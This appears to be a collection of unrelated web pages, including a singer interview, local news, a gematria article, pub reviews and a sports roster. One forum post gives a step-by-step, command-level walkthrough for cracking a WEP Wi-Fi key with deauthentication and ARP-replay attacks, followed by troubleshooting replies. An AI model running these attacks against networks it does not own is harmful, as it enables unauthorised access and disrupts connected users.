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INTERVIEW: Who Is Caroline Jones?
To say that Caroline Jones is multi-talented is an understatement. She is a singer, a songwriter, a producer, and a multi-instrumentalist -- and by multi, we mean quite the impressive list of instruments. The Connecticut-born musician released her single "Tough Guys" in October 2016, and is now looking ahead to 2017 as she prepares her forthcoming country album.
We recently learned all about Caroline when she stopped by iHeartRadio HQ for an exclusive interview. The country singer and songwriter talked to us about getting started in music, how she learned to play a multitude of instruments, her single "Tough Guys," and her upcoming full-length album.
RELATED VIDEO: Caroline Jones - "Tough Guys" Live Acoustic | iHeartRadio Live Sessions
On Her Musical Beginnings
For Caroline, her desire to pursue music all started at just nine years old. Growing up in Connecticut, she tells us that at nine, she would beg her parents for singing lessons ... and singing alone to one a certain Titanic classic. "I remember just trying to teach myself how to sing, and I remember actually singing a song called 'My Heart Will Go On' which was really popular at the time, Celine Dion -- which, coincidentally, the man who I co-produced this record with [Ric Wake] did that song. So it's amazing how things come full circle. But, I remember singing that song, and I knew I wanted to be a writer since I could read. I would just write all the time. And as soon as I started singing and realized I could put the lyrics to music, it was over."
The first time Caroline wrote a song was at ten years old. She tells us she wrote a song called "There's A Place," and "it was a pretty spiritual song."
When she was sweet 16, Caroline paid a visit to Nashville where she attended a writer's round at the city's famous Bluebird Cafe. It was during this trip that she became fascinated by Nashville's songwriting community and its many musicians. Soon, she began modeling her songwriting from some of the country music greats like Willie Nelson, Hank Williams, and Dolly Parton among others.
As previously mentioned, Caroline is a multi-instrumentalist -- it's almost like there isn't an instrument she doesn't know how to play. But her list includes the piano, acoustic guitar, six string banjo, five string banjo, four string banjo, the Dobro, and more.
On how she learned to play different instruments
"I took piano lessons when I was a little girl, and when I was about 17, I picked up the acoustic guitar after I went to Nashville, and was really inspired by the community of songwriters and musicians there. Because I did solo acoustic shows for so many years, I toured high schools and colleges and boarding schools, solo acoustic, I just started picking up instruments as ways to make my show more interesting and more compelling. Because it was just me and my stories, and my truth, and my songs up there. So I picked up the six string banjo, which is basically like a guitar that's a banjo, it has a banjo head on it. And then from there I started getting into acoustic blues, and would play in open tunings, and learned how to play Slide [guitar]. And once I learned how to do that, you can kind of pick up the five string banjo, the four string banjo, the Dobro. It becomes like a family of tunings and instrument-playing. So one just led to the other. It's a craft that I love as much as singing and songwriting, and I will forever be a student of it."
The one instrument she would like to learn to play? The harp. "It's very impractical, but I've always wanted to play the harp. How beautiful is the harp? It's like an angel, right? So, I would love to play the harp, but it's tough to carry around."
On the meaning & inspiration behind the lyrics of her single "Tough Guys"
Caroline has a full-length country album on the way, and the lead single from that record is a song called "Tough Guys," an awesome personal empowerment anthem.
"'Tough Guys' was inspired by ... I think we all have this deep desire to be our authentic selves, and to be accepted for who we are. But what I realized [and] what I learned from writing my own songs and trying to start my career in a slightly different way, and working on my craft and being all about the music, is you really can't control what other people think of you, and you really can't even trust what they think of you as a reflection of you because it's more likely a reflection of them. And so, I just wrote this kind of sassy, tongue-in-cheek, get-it-all-out song about if you don't like the way I am, it's fine. I'm still going to be myself. It's tough. It's your problem, it's not mine. And I think that's a really freeing place to get to, and I think we're all trying to get there, and take it day by day."
There is plenty more music from Caroline where "Tough Guys" came from. Caroline co-produced her forthcoming country album with Grammy and Academy Award-winning producer Ric Wake (who has worked with legends like Celine Dion, Mariah Carey, Whitney Houston, and Trisha Yearwood).
On what has been like putting her album together
"It was, I say this with no exaggeration, the most fun year of my life. The most fun experience of my life. We put together an incredible team. Ric Wake is my co-producer, Gustavo Celis is the engineer, and we just built these songs from scratch. We would start with an acoustic guitar, or a banjo part, or a drum loop. Nir Z [Zidkyahu] and Glenn Worf, who are Nashville legends, played bass and drums on this record, and I played all the other instruments. It was like writing each song a thousand times, because we'd write each part, each guitar part. What is the mandolin going to do? What is the banjo going to do here? We should add a synth. It's addicting as a creative person to constantly be adding layers and textures to your heart and soul, which is your songs."
Caroline's country album sounds like it's very eclectic. While fans can expect some "really country stuff," there is also some country pop songs as well, blending instruments like the banjo, Dobro, and Mandolin, with synths and programmed beats -- and "tons of background vocals" because Caroline tells us she's a "harmony freak." She adds, "It's a fun, uplifting, joyful country pop album. It really is. It's sunshine-y, it's positive. That's what I want to put into the world, and those are the kind of songs I like to write."


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LONG BEACH - Holding signs that proclaimed, "I Am Long Beach," several dozen city employees protested a proposed ballot measure Tuesday that could eventually knock back pay for non-public safety workers by two years.
The measure, a request made by Councilman James Johnson to draft an initiative for a spring special election to cap pay in 2014 and 2015, passed by a 6-2 vote of the City Council and seeks to becalm continuing budget reductions in Long Beach.
The proposal, which would require a future vote to place it on the ballot, has been expected since a pension reform deal was rejected last month by the city's largest union, the International Association of Machinists.
Both union members and some council members leveled blistering criticism of the measure before the vote.
IAM Local 1930 President Dan Gonzalez said the pension deal was nixed because the city offered sparse details on the effects if union members assented to changes - except that layoffs would continue.
"It seems to us that sentiment has been, if you don't give us what we want, we're going to lay you off," said Gonzalez. "If you do give us what we want, we will lay you off, but we are going to feel bad about it."
Council members Steven Neal, Al Austin and Gerrie Schipske faulted the deal as a circumvention of collective bargaining rights. Neal and Austin voted no on the proposed ballot measure; Schipske voted yes.
The City Council approved a budget this month that downsizes spending by $12.9 million for the fiscal year starting Oct. 1.
Johnson claimed deficits will continue unless the city brings expenses in line with the flagging revenues.
"The answer is simple," Johnson said. "Until you control the growth of total compensation, such as skyrocketing pension costs, we will continue to cut services every year with no end in sight."
Johnson's memorandum said that rolling back salaries and benefits for the employees would save $29 million per year overall, and $9.4 million annually in the general fund, enabling the city to restore services.
The reform offer made by the city to the 3,600-member IAM would have saved an estimated $3.9 million in the general fund in 2013, and $12.2 million across all funds, by increasing the employee pension cost share and raising the retirement age for future employees while lowering benefits.
Union members would have received a raise to pay for the higher contribution.
IAM members have received a 12 percent raise since the start of the current union contract on Oct. 1, 2007. The contract calls for an additional 6 percent raise before it expires Sept. 30, 2013.
Public safety employees were not included in Tuesday's proposal because police and fire unions agreed to pension reforms last year that officials estimated would save Long Beach $100 million by 2022.
The measure will also seek to reform IAM compensation through bargaining - before a ballot initiative goes to voters.
Still, some in the audience, like IAM business representative Janet Wright-Schabow, charged that the move is an unfair labor practice.
"My members need to stop being the pinata that you boot around for political gain," Wright-Schabow said.
Long Beach says the annual cost of employee pensions has risen $28.7 million since 2007, from $69.4 million to $98.1 million.
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Allemande Hash - Carroll White
Another dance from "A Night at Sunny Hills," a series of records "for experienced square dancers," released in 1951. As the name suggests, the Allemande Hash contains variations on allemandes, starting with "Allemande thar" and including some from the so-called Allemande Alphabet that was starting to be developed: • Allemande left and an…
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If God wrote you a letter, would you read it? Well, God did, and you have. The letter is the Torah. For centuries, Jews have been reading the Torah again and again, poring through its stories, its heroes and villains, its messages and meanings.
What about the language in which the letter is written? What about the Hebrew alphabet? The letters that make up the letter? If God created those letters, wouldn't they also have messages and meanings?
Yes, say Kabbalists. Studying the architecture of the alphabet unlocks deeper meanings in the Torah. And then, there are the numbers. Each letter in the Hebrew alphabet has a numeric value. Adding and comparing numeric equivalencies among words and phrases in the Torah is part of the ancient practice called gematria.
What's in a number? As the year 2013 approaches, much will be said about the number 13 and the references to it in modern culture. Jews don't really have unlucky numbers, but there are favorite numbers. Eighteen, for example, is the multiple by which Ashkenazi Jews give monetary gifts. Sephardic Jews do so in multiples of 26. Why?Gematria. The value of the word "chai" is 18 and the value of God's divine name is 26.
Other examples of gematria have seeped into our everyday lives. The letters of the word "mezuzah" have a value of 65, the equivalent of one of God's names: Adonai. The value of the dreidel's letters are used for its game.
But gematria goes farther. Rabbi Louis Jacobs wrote about gematria in his 1995 book The Jewish Religion: A Companion, (Oxford University Press). Jacobs used gematria to reinterpret one appropriate part of Genesis: Jacob's ladder.
"The Hebrew word for 'ladder,' sulam, is formed from the letters samekh, lamed, mem," he wrote. "Since the Hebrew letters also serve as numerals, the total of sulam is 130, i.e. samekh (60) + lamed (30) + mem (40) = 130. Now the Hebrew word for 'Sinai,' also has the numerical value of 130, i.e. samekh (60) + yud (10) + nun (50) + yud(10) = 130. Hence, one interpretation of Jacob's ladder is that it represents the giving of the Torah on Mount Sinai and the 'angels' who ascend and descend are Moses and Aaron."
If God created the alphabet, when did mankind discover its hidden meanings? Exactly when gematria came into use is unknown, but the code and its secrets seem to have been unlocked in the Middle Ages in Western Europe.
"It was a time when Jews were barred from entering secular universities, so the Torah was what they studied," says Dr. Edward Hoffman, who teaches psychology at Yeshiva University and has written and edited more than 20 books. "We're talking about a lot of brilliant men with a lot of time on their hands. This may have occupied their minds. I don't put a huge amount of stock in gematria, but there are certainly equivalencies and many of them are quite obvious. So it must be that God wanted us to find them."
"Horse feathers," states Rabbi Lawrence Kushner. The author of 18 books, including The Book of Letters: A Mystical Alef-Bait (Jewish Lights Publishing), Kushner is the Emanu-El Scholar-In-Residence at Congregation Emanu-El in San Francisco. "We are using our human minds to try to interpret God's words? How presumptuous of us."
God wrote the letter — the Torah — in plain language so that humans would understand it, Kushner says. "And misinterpretation can be very dangerous," Kushner adds. "This could lead you down some wrong paths. By all means, enhance your knowledge of the Torah. But go with the basics. Work on honoring your mother and father."
Where there is real mystical meaning, Hoffman and Kushner agree, is in the Hebrew letters. "It is a visually beautiful alphabet," Hoffman says. "Look at the script of the letters, their curves and lines. Look at the 'A,' and then look at aleph. Which is more beautiful?"
Kushner uses aleph to share a letter-based gematria lesson. "If you had to make the letter aleph from other Hebrew letters, which would you use?," he asks. "Here's the answer: Take a vuv and tip it forward. Put a yud on its back. Put another yud on its stomach. From that, you get aleph."
"Let's look at the gematria of that," Kushner continues. "Yud equals 10 and vuv equals six. Two yuds and a vuv equal 26. What else equals 26? The divine name of God. That means the first letter of the Hebrew alphabet contains the same value as He who gave it to us."
Kushner takes this even further. "Some say that the two yuds and a vuv represent two eyes and a nose, which means every human has an aleph right in the middle of their face, which means that every face has a visual representation of God's divine name."
But this is not a secret of the text, Hoffman states. "It is as plain on the nose on your face," he says. "It is simply a way of getting more out of God's letter to us."
A second example is the second letter in the Hebrew alphabet: bet. Its shape is of three lines that close its top, bottom and right. But bet is open on the left. "And which way is Hebrew read? From the right," Kushner says. "And what is the first word of creation? 'Bereshit.' 'In the beginning.' Perhaps it is an anagram, or perhaps it was God's way of saying, 'Don't pay attention to what is above, below or behind you. Pay attention to what is in front of you, because this is the beginning of the world."
The way that those words are formed make them instruments of holy communication, the experts say. "Remember that Judaism is a religion that was created with words," Kushner says. "Words made our world. God did not start with a lump of clay and use action to mold it. He used words. He said, with words, 'Let there be light,' and there was."
"If God made the world with words, then letters in Hebrew are not merely as they are in other languages," Hoffman says. "They are discrete entities with meanings. Their placement in the Hebrew language is not accidental. We are people of The Book and the letters of that book are incredibly important. The words, the alphabet; every single stroke of the Torah is holy and significant."
"Aleph, bet, gimel; every schoolchild knows the Hebrew alphabet and we read them all the time," Hoffman says, "but we often take them for granted. Let's remember that God communicated to us via those letters. He gave them to us. They represent Jews' relationship with God. Cherishing that language defines us as Jews."
Certainly, God used the non-verbal burning bush, plagues and parting of the sea. Those were to get the attention of Hebrews and non-Hebrews, Kushner says. "But when it comes to the formation of Jewish law, God did not demonstrate the Ten Commandments," Kushner says, "He said to Moses, 'Write down these words.' "
This article originally appeared in the November, 2012 issue of Inside Magazine.
The gematria of Melissa Jacobs's Hebrew name equals that of "Shalom."


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This popular Camden boozer pays homage to Victorian military man David Fawcett, who apparently died in one of the rooms upstairs. He was partial to a snifter or two of gin, so there's plenty of scope to get stuck into his favourite tipple - there are more than 60 varieties of mother's ruin on offer.
Outside of that impressive collection of gin there's a decent range of craft beers on tap and by the bottle, complemented by a short wine list and a good selection of cocktails ranging from classic concoctions to those of a more adventurous bent - you can even create your own, should you wish. Unsurprisingly, gin plays a lead role on this list, too.
The food menu ranges from The Colonel Fawcett Burger (with smoked bacon, chilli jam, apple wood-smoked cheddar and fries) to onglet steaks, a wild Hereford venison casserole and sea bream with clams and a white bean and herb ragu. The Sunday roast is award-winning.
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Always full of cool peoples. One of the, if not the best pubs in London. The food is amazing, the kitchen staff really knows their stuff. The waiting staff is the nicest, most attentive, well mannered and super friendly. I have never ever experienced something remotely similar to some of the experiences some bitter, weird person has described. This place is actually the reason why we decided to come live in this area, and that was a good decision given this is now our local. Gin selections are godly, and they have several tonics as well. Then there are the pub quiz, the events such as comedy nights, tasting evenings, themed parties. 100% recommended.
Have visited the Colonel Fawcett several times since it's opening last year, and have always been very impressed. The food is amazing! Not only is it extremely tasty, but perhaps the best value for money in the area (last week I had a great steak for under a tenner!). I've also had the Pork Belly a couple of times which was cooked to perfection and came with a beautiful Cider sauce. For me, the food is on a par with Made in Camden, which i visited for the first time a few weeks ago and loved. I felt compelled to comment after reading Time Out's distinctly average review above, which I strongly disagree with!
A nice place a bit off the beaten track. Feels like a real pub in a good way. Not a bloody gastro pub!
Amazing food, incredible staff and what a gin selection. boom.
Best roast dinner in London :)
Fantastic venue! The food is amazing and the staff are super friendly! 😀
Great food, really fun atmosphere. Knowledgable bar staff. Nice beer garden.
Such good music and food, the beer garden is gorgeous and everyone is lovely
Great food & drinks selection. Ambiance is second to none and the Landlords are wonderfully accommodating people
One of my favourite pubs in London, amazing food especially the Sunday roasts. There's a great upstairs function room - I've been to a few parties there and they have always been really fun and the staff have put in the effort to make the parties special! Great pub!
Great pub. Amazing food. Wonderful atmosphere. Gorgeous room upstairs.Superb for parties. Staff friendly & efficient
Great food and atmosphere, off the beaten track. A hidden gem.
Love love love The Colonel Fawcett. The gin day's are amazing!!
Best pub in Camden - friendly staff, great food and HUGE selection of gin.
Great food and great cocktails.
Still the best Sunday in londin
Best Sunday Roast in North London!
Lovely pub with a great gin selection and delicious food! A real gem!
Friendly local pub; good menu; fun upstairs area which can be rented for parties; small but decent garden area
Wide gin choice and gin based cocktails in this wonderful pub.
Fabulous inventive, vegetarian food options and amazing Sunday roasts also.
Loved it- great ambience and so many sprits to choose from! One of my favourite places in London, it's always busy, which says a lot too.
Very warm environment, friendly staff, good food and nice selection of ales. We have been running a group session here once a fortnight for almost two years and never been let down. Sorry to see some negative reviews here as this has not been my experience at all.
Never setting foot in the pub ever again after one of the bar staff laughed in the face of a friend of mine with learning difficulties for simply asking her if the bar sold Smirnoff Ice. The pub stinks of plastic, cloned wannabe Camden Kaners who have all descended from the Shires in search of a trace of cool. The fact is the bar staff are all emotionally crippled and should remember born n bred Camden-ites like myself (for the last 40 years) have an inherent sense of community and would never dream of considering someone ordering a Smirnoff Ice as some sort of social leper. Especially someone with learning difficulties. We're also not that DESPERATE to have to elevate ourselves to a some deluded sense of cool. We're already there.
Though not a Camden local I always head to the Fawcett when I'm in the area and have never had anything but a brilliant meal with in season produce and the atmosphere is always great. Couldn't recommend it highly enough, definately worth a try.
I'd just like to say I love this pub and think its one of the best in London. I can't remember if I left a review before but I am leaving one now because I so strongly disagree with the timeout one - I know that at least one of my friends has left a review because he so strongly disagreed with it too. I am writing now because of the NB comment of the timeout review where you suggest the positive user reviews are fake. I think a good deal of these might be in response to your negative review which is so out of sync with how this pub is. I have almost never reviewed something on timeout but really felt compelled to review this because I so disagree with the timeout view. Please contact me if you think this review is fake - I would be happy to provide you with my work email ect as proof that I am not affiliated with this pub.
This is one of my locals, I love it. Not only do the bar staff get to know you and always say hello, but the oweners have got to know me and my friends over the past couple of years. They really are a fantasic bunch and I'm so glad they took over this place, it's always a fun place to be on the weekend, no tourists but also no one taking themself too seriously. Really good food - this coming form someone who grew up around food and foodie parents. If you're in NW1 or NW5 and fancy a nice meal and a gin please check out the Fawcett, you will not be dissapointed. The locals are fairly friendly too, so come say hi.
Had a roast here, yesterday evening- it was absolutely delicious! Great quality meat, top notch gravy and perfectly cooked veg. Cannot believe time out's review- you need to visit again! Look on all other review sites to see the proper rating- this review is not 'shilling' but happy customers trying to put the record straight following time out's terribly inaccurate review. Time out is not to be trusted! Colonel fawcett roasts at 14 quid are!!
Love this place. Food is so nice. Especially love the Sunday roasts! Love the fact it's hidden out the way so not full of tourists. Music always stuff I want to hear. Recommend it yo anyone who enjoys the Camden vibe but with true camdeners.
We ( colleagues and I) go all the time, 15 of us pile in and get fed really quickly. The quality is superb, really great seasonal gastropub food in a very cool and 'camden meets shortditch' sort of vibe. It's a gin and ale bar, which serves my boyfriend and I really well! Everyone needs to go try it out, to avoid disappointment, I'd book, just in case. Also, on a Saturday night, it's really good fun too, they put DJs on and there's two floors and a garden to spill into. Sorry.. I'll stop going on! just go!!!
two star rating is a travesty. easily the best pub/bar/restaurant in Camden if not London. Tv's showing sports, extensive gin list, excellent home-cooked food, two outside areas and dj's in the evening. TimeOut have massively dropped the ball on this one
Do not understand 2 star review?!!! Atleast double that!... I had the lamb burger, but also had a scotch egg before hand - really great! Timeout - your review makes no sense!!!
Went to this pub today as it is close to where I live, walked past it a few times and it seemed friendly and cool. I do not understand what is driving the review from Time out, who I respect. It must have been a bad day in the pub! The food was really good, best pork belly I had in a while. Friendly service and lots of space. Good mix of people hanging, families, couple having a bite an reading sunday papers (like us)... I look forward to going back. It seems to be a place especially set for cold winter afternoons, which the 2 fire places and soft music playing in the background. Would recommend.
Food generally very good (I've eaten here twice), nice atmosphere. Beers a little dull if you're into ale; generally never all four hand pumps in use and the selected beers aren't particularly to my taste either. I 'like' the Fawcett, but wish I loved it.
I ate in this triendly pub and experienced really wonderful tastes, original and interesting. 5 of us chose different menu items and we all rated them highly, tasting each others choices too ,it was exceptional and fantastic value. The staff were very friendly making the whole experience rich
I have eaten at the CF many times and just can't get enough of the food there! The value and quality are just fantastic. The menu changes regularly so I have always found a new combination that is fresh and exiting. My last meal was the Griddled Fennel which was just amazing. Good sized main and the deserts are to die for. A blood orange sorbet was probably my favorite to date and I hope to see it reintroduced at some point. I am shocked at the last review with one star and cannot understand where they are coming from. I am also very annoyed with Time Out review as they have obviously not given any thought or even been to the pub I suspect. They should be embarrassed at such a badly compiled review. Highly recommended so dont let Time Out or one rogue review fool you.
I have to say Time out are speaking absolute TOSH... By far some of the best food I have ever had in its price range... The Sunday Roasts are literally to die for. Great drink selection, cool place, great decor etc.... I'm sorry, but after this god aweful review by TimeOut I don't think I'll be able to trust their reviews on anything else..
Went on a recommendation from a friend, absolutely loved the food. It is the best steak i have had for a long time. Place looks really nice inside, almost like a living room with a bar in! Def going back.
Took my parents here for dinner a few nights ago and thought it was so lovely. Food was delicious, I had the steak which was divine and my mum had the hake which she loved. Really nice atmosphere, out the way in Camden which means that you get a good local crowd. We spoke to the owners who are three young guys just starting out and you can tell that they have tried to create somewhere friendly and relaxed with those nice personal touches. Its my birthday soon so I am going to hire an area. All round great place!
The owners really turned this pub around, it has a great atmosphere, loads of gins and a changing menu. Saturday brunch, sunday roast, unique ingredients make it special. Will check out their comedy nights soon. Lucky to be a local to the Colonel. TimeOut, your review is bad and rating inaccurate. Go there again and tell it like it is!
Have to say i agree with Timeout, visited on a Sunday afternoon,we wer the only 2 people in the upstairs function room at the time, 6 people downstairs. At that time no one was eating, so no pressure on the chefs. They were outside having a cigarette. Owner couldn't crack a smile, of the other 2 staff, young guy helpful and friendly, girl struggled to take an order of 2 meals, and also no smile. food very mediocre, i turned down 2 of the veg options, not offered any alternatives, served cold root mash, 3 mini bullet like lukewarm roasties, and a lukewarm tasteless pie.My partners fish was tiny, old hard chips, We ate it as we were starving, cold , very wet. As we left the downstairs bar was buzzing, lot's of diners, and the Sunday Roasts did look nice. Our first visit, wouldn't eat there again after that experience. Lovely decor, out of the way, if you want a quieter spot of Camden. Maybe it was because we were new faces, as others seem to have had a different experience. Had a Greek meal and a Cantonese meal in Camden, very nice. As there are a lot of inferior eateries in London, it's nice to find something good.
I'm surprised with this review. I ate at the Colonel, immediately departed for Melbourne and spent the next 5 weeks anticipating my return meal. Incredible food that would still be good value with a 50% price increase. Go to this pub. It's great.
I am a bit confused by this review from Timeout! I work nearby and eat here probably at least once a week and the food is definitely the best pub food I've ever eaten and I eat at a lot of pubs (and restaurants) in the area but this beats them hands down on value and quality. I had a smoked chicken salad the other day and it was to die for, literally perfect. It's always a nice crowd in here and good music plus as a real ale man, they have a pretty good selection. Definitely ignore the 2 stars from Timeout...strange.
The Colonel Fawcett is such a nice pub, lovely, comfortable interior, with great booze and amazing food! Has a really nice atmosphere, and the staff are so friendly. They have an AMAZING selection of gin, over 20! And the food is incredible! The burger and sausage and mash are my favourites! And they have the best chicken dish I've ever had out on the menu at the minute - so so good! The Colonel Fawcett is my new favourite pub! 5/5!
I love this pub, good food, and a nice decent crowd without any chavs or white trash etc.... - I cannot comment on the drink, as I am a t-total, however the food is, normally, very good, although the last couple of meals have been really overly salty, and the fish I had tonight was undercooked. - Shame, as I hope this pub does not go down the same route as The Lord Stanley! CF crew, please take note and sort out the chef, as there does appear to be a rapid turnover of your kitchen staff!
2 stars? Are you on crack? The Colonel Fawcett is fun, unpretentious and has great food, unlike the other boozers in the area, most of which are packed with boorish TOWIE wannabes listening to the top 10 while eating frozen burgers from the cash & carry and drinking warm Stella at £5 a pint. It's an oasis in the desert of bell-ends that is Camden.
It's high time that the TimeOut people took another look at this excellent pub. Decor is great, staff are friendly and hardworking, the food is great and there is a good selection of drinks available. I recommend it very highly.
I'm actually quite gobsmacked that TimeOut has written such a review about a pub they clearly knew nothing about/had even really visited the pub by the sounds of things. What it SHOULD have said is the food is amazing - made with love and thought and homage paid to the drinks (extensive gin collection, my favourite!) definitely not going a miss! lovely atmosphere, brilliant staff, theyve got everything right... One cant help thinking this was a tactical report from TimeOut? A nice place to socialise and unwind, definitely worth a visit!


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I would always go through getting my gear online, obvious factors would be price and locating the best stores to use. The generic search for most people I would assume is 'mma equipment' or 'uk mma store' I don't know, but there is a sea of places to get this stuff so variety is key. Most do all of the same stuff (obviously) but not many have much depth in products when you go surfing through, it is sort of well this is your lot and the only brand you are getting 'insert item' with from us.
Not brown nosing, but I recommend you to people as you have a big variety and reasonably priced, some are not like that. A bigger variety of training equipment (S&C type of kit) would be cool too, as lots of people have the same generic bits of kit which is good. But it is very limited - obviously the market for that isnt going to be as big I suppose and can be picked up elsewhere for less than you could supply I dont know.


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having the same issue. any solutions??
This affects BackTrack because it is a Debian issue that occurs here as well.
VirtualBox in general has issues with Debian because of something to do with a problem with headers and/or the kernel, so you have to install dkms first, then VirtualBox 4.2, then you're supposed to be able to install virtualboxguestadditions.iso to enable Drag n Drop and a shared clipboard, as well as shared folders.
However, even once you finally get VirtualBox working in BT5r3 guestadditions still doesn't work. There's not an error message, the features just don't do anything (no Drag n Drop, etc).
having the same issue. any solutions??
installed the kernel headers without issue.
received the following error after apt-get update/upgarde:
Deleting module version: 3.1.6
completely from the DKMS tree.
Loading new virtualbox-ose-guest-3.1.6 DKMS files...
First Installation: checking all kernels...
Building only for 3.2.6
Building for architecture x86_64
Building initial module for 3.2.6
Error! Bad return status for module build on kernel: 3.2.6 (x86_64)
Consult the make.log in the build directory
/var/lib/dkms/virtualbox-ose-guest/3.1.6/build/ for more information.
dpkg: error processing virtualbox-ose-guest-dkms (--configure):
subprocess installed post-installation script returned error exit status 10
Errors were encountered while processing:
E: Sub-process /usr/bin/dpkg returned an error code (1)


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Arcana Comics on Comic Book Resources
As our press release about picking up part of Bluewater's library hits the airwaves, several sites are buzzing about it! Comic Book Resources just posted on the topic as well…
Following its recent partnership with Benderspink for film-ready comics, Arcana has announced the acquisition of Bluewater Productions' fiction library including titles "10th Muse," "Legend of Isis," "Judo Girl" and more. While Bluewater is better known for its "Female Force" and "Political Power" comics, Arcana's acquisition includes 23 fiction titles releasing as collected graphic novels later this year.
"I have worked with Arcana in the past and am excited to team up with them again," said Bluewater President Darren G. Davis via press release. "Teaming up with another independent comic book company, the foundation can only strengthen our brands."
"Darren and Arcana did Valkyrie back in the day and it's great to be working with him again," added Arcana CEO Sean Patrick O'Reilly. "He is one of the most talented and prolific creators I've worked with, and everyone is very excited about these dozens of graphic novels added into our library,"
The Bluewater acquisition is the second major announcement from Arcana this month, following the publisher's reveal of new label ArcanaBenderspink Comics, which will launch with 20 new titles intended to be developed for film and television. Check out the full press release of the Arcana/Bluewater team-up below and stay tuned to CBR for more developments.
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I have downloaded the latest BT and finally figured out how to crack a WEP key. Thought i'd post my routine for anyone else who might be having trouble.
BTW, i'm a complete newbie to BT and any Linux related stuff, but will be hoping to change that.
OK, first off some quick info on my specs. Acer Laptop (CeleronM) with built in Atheros 5005 wireless.
1. Fire up Kismet and find the AP you wanna access, sort the listed AP's by using "S" then "C". Then select your AP, hit "Enter" to get any info you may need from it (MAC Address, WEP, Channel etc.) Then press "q" to come out of that details screen, and with my AP select type "L"(capital) which as far as i can see makes your card lock onto that AP.
2. Open a console screen, then enter the following command to launch AiroDump which will "sniff" the packets about you.
Command = "airodump-ng -w capture -c 6 ath0"
OK, "airodump-ng" is the program itself.
"-w capture" Gets it to write the sniffed packets to a file called "capture.cap".
"-c 6" Makes the program ONLY sniff on channel 6.
"ath0" The name of my wireless card.
Leave that running, and keep an eye on the MAC address of your desired AP and the packets/data increasing (the Data is the IV's)
3. Open another console to be used to make AirePlay perform a DE-AUTH attack on a specific machine connected to that AP. This should make that specific machine disconnect and reconnect to the AP, and in the process make it send data to the AP which will include the WEP key.
Command = "aireplay-ng -e DLINK -a 00:11:22:33:44:55 -c 66:77:88:99:00:AA --deauth 10 ath0"
"aireplay-ng" is the program itself
"-e DLINK" is the name of the SSID of the target AP.
"-a 00:11:22:33:44:55" is the MAC address of the target AP.
"-c 66:77:88:99:00:AA" is the MAC address of the target machine connected to that AP (you should be able to find any machines connected to the AP from looking at the info in AiroDump).
"--deauth 10" The type of attack we're performing, in this case it's the DEAUTH attack repeated 10 times.
"ath0" The name of my wireless card.
Have that command ready to go, but don't do it yet.
4. Open another console screen, and again we're going to use AIREPLAY, but this time it's going to capture some packets that might contain any IV data, then keep repeating to pump this info to the AP by "pretending" to be the target machine that the other instance of Aireplay performed the DEAUTH attack on.
Command = "aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h 66:77:88:99:00:AA ath0"
"aireplay-ng" Name of the program.
"--arpreplay" Is the function of aireplay you are trying to perform, in this case it's a replay of a ARP request, which will contain IV data.
"-b 00:11:22:33:44:55" MAC address of the target AP.
"-h 66:77:88:99:00:AA" MAC address of the target machine connected to that AP.
"ath0" Name of my wireless card.
Right, run that command, and you should see it searching for packets.
Fire off the previous command to initiate the DEAUTH attack, then switch back to the aireplay replay screen. And you should see it detect a deauth/discon of a machine, then it capture that packet, and start repeating to pump it back to the AP by pretending to be the target machine.
Flick over to airodump screen, and HOPEFULLY it should have lots of DATA or IV packets coming through.
You can close down the DEAUTH screen of aireplay now, and then let the other one keep replaying that packet until you feel you have enough packets to crack it, or just start the crack whilest more packets keep flooding through.
5. Open the FINAL console screen which will be used to run AirCrack which will scan the captured packets from AiroDump.
Command = "aircrack-ng -f 4 -m 00:11:22:33:44:55 -n 64 capture.cap
"aircrack-ng" Name of the program.
"-f 4" Run the Fudgefactor 4 times (hehe, i have no idea what this is but apparently increase the fudgefactor to have a better chance of finding the key, but will take longer the higher the number".
"-m 00:11:22:33:44:55" MAC address of the target AP, so your not searching packets of AP's that you don't wanna crack.
"-n 64" The amount of bits in the key, in this case it's 64, but theres also 128 etc.
"capture.cap" Name of the capture file being created by AiroDump.
Fire it off, and depending on how quick your machine is, how many IV's you've capped or what bit your key is (in my case only 64) and BINGO! It finds the key.
I tested this on my home AP so i already knew the key, and only used one laptop.
Am sure i've got some terms wrong, or could do it more efficently, but this worked for this newbie, and i'm a very happy chap.
Hope it helps anyone.
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This seems to be a good run-through of why people use specific arguments to the applications. Very helpful, thanks
Nice one
Almost worked for me.
packet injection finaly works with the final on my card
It could be me, i tried 2 laptops with an atheros 5005 card,and i got data packages about 1 milion and more.
But when i start aircrack for a 128 bit key, set the command :
capture-01.cap is how my file looked like
aircrack-ng -f 4 -m 00:11:22:33:44:55 -n 128 capture-01.cap
it's not getting the key i think, i had it running for 24hours and still nothing?
Is there something i'm doing wrong here?
Am assuming your testing this on your own access point? So your SURE which key type it is?
I "assumed" mine was a 128bit key, and after running for an hour, didn't find it.
I set it to 64bit, and with 5mins, BINGO....KEY!
Sure your searching for the right key bit type then?
I know for sure it is 128bit, configuration in the router say's 128 bit encryption, and the thing was, i dint say that it could not find it.
It was just still cracking the key after 24 hours, so i stoped it.
hmm, I have tried another accespoint, *belkin this time* put laptop 1 on it and with my other i tried to deauth and arpreplay but it looks like i cant get it to deauth, nothing is hapening.
Damn I still cannot deauth, this is so frustrating!!!!!!!!! I feel like I've run every command known to man but it won't work! Please somebody, anybody, please help! I have an atheros card, and am running auditor 200605-02-no-ipw-2001.
sorry had to post again as i forgot to subscribe....
wow,thx for that posting,it's very helpful,especialy the options!
Yes, problem solved! I got rid of that damned auditor and d/l-ed BT Beta, and low and behold, problem solved, works like a charm.Originally Posted by trueblu8


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Bengals trim roster to 53
The Bengals today made the following 21 roster moves in reaching the NFL limit of 53:
* Placed one player on the Reserve/Injured list:
--LB Emmanuel Lamur (shoulder)
* Placed one player on the Reserve/Physically Unable to Perform list:
--HB Bernard Scott (knee)
(Scott will remain with the team for rehab and meetings, but may not practice for Weeks 1-6 of the regular season. Beginning the week following Week 6, he will begin a window of eligibility to return to practice under a roster exemption, if medically cleared.)
* Released one veteran to free agency, terminating his contract:
--OT Dennis Roland
* Waived 18 players:
--FB John Conner (fourth-year player, Kentucky)
--TE/LS Bryce Davis (first-year player; Central Oklahoma)
--S Tony Dye (second-year player, UCLA)
--OT Reid Fragel (rookie, Ohio State)
--WR Cobi Hamilton (rookie, Arkansas)
--HB Daniel Herron (first-year player, Ohio State)
--C T.J. Johnson (rookie, South Carolina)
--CB Chris Lewis-Harris (first-year player, Tennessee-Chattanooga)
--CB Onterio McCalebb (rookie, Auburn)
--DE Dontay Moch (second-year player, Nevada)
